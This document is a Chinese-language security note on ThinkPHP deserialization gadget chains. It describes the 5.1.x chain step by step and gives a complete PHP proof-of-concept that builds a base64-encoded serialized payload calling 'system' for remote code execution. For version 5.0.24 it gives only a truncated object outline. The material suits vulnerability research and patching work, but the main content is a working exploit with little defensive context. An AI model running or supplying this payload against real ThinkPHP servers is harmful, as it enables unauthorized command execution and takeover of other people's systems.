一、ThinkPHP5.1.x反序列化链

1
2
3
4
Window对象__destruct ->removefiles()的file_exists(Pivot对象)->
conversion对象的__tostring->toJson()->toArray()->[$relation->visible($name)#传入request对象调用__call方法]
->call_user_func_array控制hook变量去访问isAjax函数
->param函数->input函数(参数可控)->filtervalue函数->call_user_func完全可控RCE

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["boogipop"=>["calc.exe","calc"]];
$this->data = ["boogipop"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'boogipop'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model//pivot用的是model的构造函数,model中又含有conversion类,所以跳转到conversiontostring方法
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

二、ThinkPHP5.0.24版本反序列化

在5.0.24和5.0.18可用,5.0.9不可用

poc结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class think\process\pipes\Windows#7 (1) {
private $files =>
array(1) {
[0] =>
class think\model\Pivot#6 (3) {
protected $parent =>
class think\console\Output#3 (2) {
...
}
protected $append =>
array(1) {
...
}
protected $error =>
class think\model\relation\HasOne#5 (3) {
...
}
}
}
}